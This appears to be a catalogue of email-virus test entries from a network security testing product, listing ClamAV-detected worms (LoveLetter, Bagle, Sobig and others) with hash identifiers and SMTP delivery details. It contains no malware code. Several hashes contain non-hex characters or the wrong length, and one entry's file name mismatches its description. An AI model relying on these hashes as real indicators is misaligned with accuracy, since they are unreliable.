Detailed Description:	This is the email virus Email-Worm.VBS.Zimac.zim as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zimac.zim. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Titel.c3d48c9d_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Titel (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Titel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3d48c9decdf70dbce26362453ab46. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sonic.55.ca569c37_IPv6.xml
Executive Description:	Email Virus Worm.Sonic.55 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sonic.55 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca569c3756b93860df821d8a81930124. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Lubus.A.255d745f.xml
Executive Description:	Email Virus VBS.Lubus.A
Detailed Description:	This is the email virus VBS.Lubus.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 255d745fade35452be848781ab89db93. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Ymale.4f4acb65_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Ymale (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Ymale as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f4acb65efd63e4855a307993a7bda57. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Brid.6b58f116_IPv6.xml
Executive Description:	Email Virus W32.Worm.Brid (IPv6 Version)

Detailed Description:	This is the email virus W32.Worm.Brid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b58f116153ebeac4920102d911c2a8d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.252665b8.xml
Executive Description:	Email Virus Worm.LoveLetter.BK
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 252665b81d2803589033ce289ad2d742. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Luna.B.1d4d25a1_IPv6.xml
Executive Description:	Email Virus Worm.Luna.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d4d25a1cffee604e50d6880ea87307d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Magistr.B.poly.0cd0a719.xml
Executive Description:	Email Virus Worm.Magistr.B.poly
Detailed Description:	This is the email virus Worm.Magistr.B.poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0cd0a719f9f91630de366c54c427a834. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fizzer.A.a89c0ed6.xml
Executive Description:	Email Virus Worm.Fizzer.A
Detailed Description:	This is the email virus Worm.Fizzer.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a89c0ed6ef75179adb6f52240102b9b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.ad24c8f4_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ad24c8f497d9fdd96408efb2dlc32226. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.E.c8ebbbe8_IPv6.xml
Executive Description:	Email Virus Worm.Without.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Without.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c8ebbbe8ce140adb076251035293e01e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.o.o.9c9070bb.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.o.o
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.o.o as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.o.o. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Claus.88952561_IPv6.xml
Executive Description:	Email Virus Worm.Claus (IPv6 Version)
Detailed Description:	This is the email virus Worm.Claus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 889525610bcbeaf20f389ce7c64e99fe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hotlix.eeb26ae0_IPv6.xml
Executive Description:	Email Virus Worm.Hotlix (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hotlix as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eeb26ae0543621d8fb6565fb1c2ae02f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.4c136071.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c136071ba423c576f7a4b7668860593. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.4bd22144_IPv6.xml

Executive Description:	Email Virus Worm.VBS.Frido (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Frido as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bd2214406ad8a72a8351c07b08923c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Avoner.A.3354ef97.xml
Executive Description:	Email Virus Worm.Avoner.A
Detailed Description:	This is the email virus Worm.Avoner.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3354ef976cdce679c3cf821ad52c9a59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Decbel.4ab4ae3f.xml
Executive Description:	Email Virus Worm.VBS.Decbel
Detailed Description:	This is the email virus Worm.VBS.Decbel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ab4ae3fa8a5f6ad2edf81b59bf7ea6b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fanker.16d945b2.xml
Executive Description:	Email Virus Worm.Fanker
Detailed Description:	This is the email virus Worm.Fanker as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 16d945b2bc811fe63d05be4bb41a6261. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Loding.b.a4dc18d1.xml
Executive Description:	Email Virus Worm.Loding.b
Detailed Description:	This is the email virus Worm.Loding.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4dc18d14a4e5b22405aceb1cd716368. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.bcde20ab_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bcde20ab1f4b344004e81d125036096b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Choke.1.ed9a8cd4_IPv6.xml
Executive Description:	Email Virus Worm.Choke.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Choke.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed9a8cd4db8e74214d59742d95ae2314. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AI.dc44c93d_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AI (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AI as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dc44c93d5a73c01ccf90bae58bb13033. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Iwing.b.d6de7cb9_IPv6.xml
Executive Description:	Email Virus Worm.Iwing.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Iwing.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6de7cb913d97adb828a3e18097083ee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Lamerone.f23505a1.xml
Executive Description:	Email Virus VBS.Lamerone
Detailed Description:	This is the email virus VBS.Lamerone as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23505a1be458284f34acd3b876f59a2e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sdan.b.526fc860_IPv6.xml
Executive Description:	Email Virus Worm.Sdan.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sdan.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 526fc860be3ac152bace5879d6f95fa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Horty.A.dda67ba3.xml
Executive Description:	Email Virus Worm.Horty.A
Detailed Description:	This is the email virus Worm.Horty.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dda67ba3f4dccb1fec7a3d7edd0c2649d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Falckon.a.a.ef67a01b_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Falckon.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Falckon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Falckon.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.8fc6b90c_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8fc6b90cd64fa042116d96273e08f343. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.MTX.0c4158a6.xml
Executive Description:	Email Virus W32.MTX
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c4158a6169d9d3674359a4af4e466c8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.vil.elb7d861_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.vil (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.vil as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.vil. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Firstpart.fd4f33a7.xml
Executive Description:	Email Virus JS.Firstpart
Detailed Description:	This is the email virus JS.Firstpart as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fd4f33a7cb2e39945765c8431722d22f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-2.ff05ddc0_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff05ddc00c74ef41157a2552af455e59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lynder.b9fb4176.xml
Executive Description:	Email Virus Worm.Lynder
Detailed Description:	This is the email virus Worm.Lynder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9fb4176489b0affb5b3f72a39618620. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Merkur.b.b.13a37ee0.xml
Executive Description:	Email Virus Email-Worm.Win32.Merkur.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Merkur.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Merkur.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.95bfa05c_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95bfa05cb28ccd2bc9218505146d0b39. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.PSW.Hooker.Based.15c2f7ec_IPv6.xml
Executive Description:	Email Virus Trojan.PSW.Hooker.Based (IPv6 Version)
Detailed Description:	This is the email virus Trojan.PSW.Hooker.Based as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15c2f7ece2c6647c5e45608e39b08e34. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Newpic.c.c.22d01826_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Newpic.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Newpic.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newpic.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.853d9d8f.xml
Executive Description:	Email Virus Worm.Bagle.Z
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 853d9d8fb616ee18b774c3c2e8953f4f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Numgame.num.d06636e3.xml
Executive Description:	Email Virus Email-Worm.VBS.Numgame.num
Detailed Description:	This is the email virus Email-Worm.VBS.Numgame.num as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Numgame.num. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.27.5f643093.xml
Executive Description:	Email Virus Worm.Sonic.27
Detailed Description:	This is the email virus Worm.Sonic.27 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f643093bc89231a9a37939c88710bd8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.01505ec7_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 01505ec7edcee9518aa937d7bcla3ad2b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Repah.a.3b7622cc_IPv6.xml
Executive Description:	Email Virus Worm.Repah.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3b7622cc2d22f974db01d10b6048ea0f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.X.2eaf40e4_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.X (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2eaf40e4458668823f0c522ec6f537b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Platnico.955ab5ea_IPv6.xml
Executive Description:	Email Virus VBS.Platnico (IPv6 Version)
Detailed Description:	This is the email virus VBS.Platnico as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 955ab5ea35f362e508efdc3709ebb397. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Music.A.6f0e9a9b.xml
Executive Description:	Email Virus Worm.Music.A
Detailed Description:	This is the email virus Worm.Music.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f0e9a9bcc392a00ffd93772d0e84251. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.ProLin.65eeb8a0.xml
Executive Description:	Email Virus W32.ProLin
Detailed Description:	This is the email virus W32.ProLin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65eeb8a0fce412d7f236f8348357d1c0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WXP.Kallisti.b7f7ed86.xml
Executive Description:	Email Virus WXP.Kallisti
Detailed Description:	This is the email virus WXP.Kallisti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7f7ed86d457fec2493db21e8886b981. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Watcher.0d4e3923.xml
Executive Description:	Email Virus Worm.Watcher
Detailed Description:	This is the email virus Worm.Watcher as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0d4e392353458ae2bb01202be7d96019. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Trilisa.68bf3c74_IPv6.xml
Executive Description:	Email Virus W32.Trilisa (IPv6 Version)
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68bf3c74bd760ecbea0cb633bd2f5a92. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anar.b.b.9ace2649.xml
Executive Description:	Email Virus Email-Worm.Win32.Anar.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Anar.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anar.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Batwin.5cfaa0bf_IPv6.xml
Executive Description:	Email Virus Worm.Batwin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Batwin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5cfaa0bfe9c643550eee6ae105ed813e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.I.0f00a007.xml
Executive Description:	Email Virus Worm.Bagle.I
Detailed Description:	This is the email virus Worm.Bagle.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0f00a0070e21ae0915dd79eafd42b975. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.F.d39fe366.xml
Executive Description:	Email Virus Worm.Sobig.F
Detailed Description:	This is the email virus Worm.Sobig.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d39fe3661843d69fbb9bb9b9b4264a24. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kuasa.B.51d3clf7.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51d3clf7120db362418213f3e360bab8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Sucon.c.c.6c4eac16_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Sucon.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Sucon.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Sucon.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.22f21bd1.xml
Executive Description:	Email Virus Worm.LoveLetter
Detailed Description:	This is the email virus Worm.LoveLetter as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 22f21bd1e3d6e02f89b15982fc9b7310. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Tenebris.ten.a6aebdfc.xml
Executive Description:	Email Virus Email-Worm.MSWord.Tenebris.ten
Detailed Description:	This is the email virus Email-Worm.MSWord.Tenebris.ten as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Tenebris.ten. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sabia.97dcff7b.xml
Executive Description:	Email Virus Worm.Sabia
Detailed Description:	This is the email virus Worm.Sabia as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97dcff7b176835b15427b15a73c6448c. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Yumao.e4995453_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Yumao (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Yumao as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4995453ldcae4bdf84db0472e73198c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.X.6506075d_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.X (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6506075de6070dabdd807048f44052f5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.abf4792b_IPv6.xml
Executive Description:	Email Virus Worm.Vorgon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abf4792b65c116adca701f92b49cb421. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Pereban.b.b.336b2f0f.xml
Executive Description:	Email Virus Email-Worm.Win32.Pereban.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Pereban.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Pereban.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Unis.B.bdlac3a7_IPv6.xml
Executive Description:	Email Virus Worm.Unis.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Unis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdlac3a7f01019ba31243ab76e3849e9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.ZWMVC.zwm.6cf6479f.xml
Executive Description:	Email Virus Email-Worm.MSWord.ZWMVC.zwm
Detailed Description:	This is the email virus Email-Worm.MSWord.ZWMVC.zwm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.ZWMVC.zwm. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.IWorm.Lee.I.5ae2dclb.xml
Executive Description:	Email Virus VBS.IWorm.Lee.I
Detailed Description:	This is the email virus VBS.IWorm.Lee.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ae2dclb157cadaecb055dc264d0f3dd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AV.fb898bd3.xml
Executive Description:	Email Virus Worm.LoveLetter.AV
Detailed Description:	This is the email virus Worm.LoveLetter.AV as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fb898bd3b632f2d439d0acbe59dbeee2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Liberte.c2eba4b8.xml
Executive Description:	Email Virus Worm.Liberte
Detailed Description:	This is the email virus Worm.Liberte as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c2eba4b847667aff3d176elf5e310791. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.d.d.4a01a7d0.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.d.d
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Calposa.492cb47d_IPv6.xml
Executive Description:	Email Virus Worm.Calposa (IPv6 Version)

Detailed Description:	This is the email virus Worm.Calposa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 492cb47d844368063828cd74c5185a1f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kagra.ac087b23.xml
Executive Description:	Email Virus Worm.Kagra
Detailed Description:	This is the email virus Worm.Kagra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ac087b236f3baecb2abde6bb56176256. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.R.5bbb322a.xml
Executive Description:	Email Virus Worm.SomeFool.R
Detailed Description:	This is the email virus Worm.SomeFool.R as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5bbb322a70a6a248369f45ece8d9e79b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trood.47d1f48a_IPv6.xml
Executive Description:	Email Virus Worm.Trood (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trood as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47d1f48a127736e63aad709ddc9d81d0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.ef314983_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef314983f99a9e1cb350986f41f9acd9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Unicle.57171666.xml
Executive Description:	Email Virus Worm.Unicle
Detailed Description:	This is the email virus Worm.Unicle as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5717166651a2059668c2389f02537b3d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Mixor.q.4adf7a37_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 171f0d0206fa49db9ed3c700356f7853. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Trilissa.h.h.fb6e7488.xml
Executive Description:	Email Virus Email-Worm.Win32.Trilissa.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Trilissa.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Trilissa.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sysnom.94c40237_IPv6.xml
Executive Description:	Email Virus Worm.Sysnom (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sysnom as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 94c40237c0b9929e806cca9293dla825. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorda.d77119bc.xml
Executive Description:	Email Virus Worm.Lorda
